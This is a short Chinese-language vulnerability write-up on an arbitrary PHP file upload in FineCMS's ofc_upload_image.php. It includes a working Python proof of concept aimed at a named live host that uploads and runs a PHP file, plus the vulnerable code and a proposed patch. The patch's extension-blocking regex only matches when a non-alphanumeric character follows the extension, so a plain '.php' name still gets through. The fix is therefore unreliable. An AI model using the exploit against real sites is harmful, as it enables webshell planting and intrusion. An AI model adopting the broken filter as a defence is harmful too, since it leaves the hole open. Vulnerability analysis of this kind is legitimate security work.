catalog
1. 漏洞描述 2. 漏洞觸發條件 3. 漏洞影響範圍 4. 漏洞程式碼分析 5. 防禦方法 6. 攻防思考
1. 漏洞描述
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2015-0105251
2. 漏洞觸發條件
0x1: POC
#!/usr/bin/env python # -*- coding: utf-8 -*- #__author__ = '1c3z' import urllib2 import random fileName = "shell" + str(random.randrange(1000,9999)) + ".php" target = "http://v1.finecms.net/dayrui/libraries/Chart/ofc_upload_image.php" def uploadShell(): url = target + "?name=" + fileName req = urllib2.Request(url, headers={"Content-Type": "application/oct"}) res = urllib2.urlopen(req, data="<?print(md5(0x22))?>") return res.read() def poc(): res = uploadShell() if res.find("tmp-upload-images") == -1: print "Failed !" return print "upload Shell success" url = "http://v1.finecms.net/dayrui/libraries/tmp-upload-images/" + fileName md5 = urllib2.urlopen(url).read() if md5.find("e369853df766fa44e1ed0ff613f563bd") != -1: print "poc: " + url poc()
3. 漏洞影響範圍
4. 漏洞程式碼分析
/dayrui/libraries/Chart/ofc_upload_image.php
$default_path = '../tmp-upload-images/'; if (!file_exists($default_path)) mkdir($default_path, 0777, true); $destination = $default_path . basename( $_GET[ 'name' ] ); echo 'Saving your image to: '. $destination; $jfh = fopen($destination, 'w') or die("can't open file"); fwrite($jfh, $HTTP_RAW_POST_DATA); fclose($jfh);
程式未對上傳檔案進行任何字尾、內容的檢測和過濾
5. 防禦方法
/dayrui/libraries/Chart/ofc_upload_image.php
$default_path = '../tmp-upload-images/'; if (!file_exists($default_path)) mkdir($default_path, 0777, true); $destination = $default_path . basename( $_GET[ 'name' ] ); /* */ if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)[^a-zA-Z0-9]+$#i', trim($destination))) { die("你指定的檔名被系統禁止!"); } /* */ echo 'Saving your image to: '. $destination; $jfh = fopen($destination, 'w') or die("can't open file"); fwrite($jfh, $HTTP_RAW_POST_DATA); fclose($jfh);
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved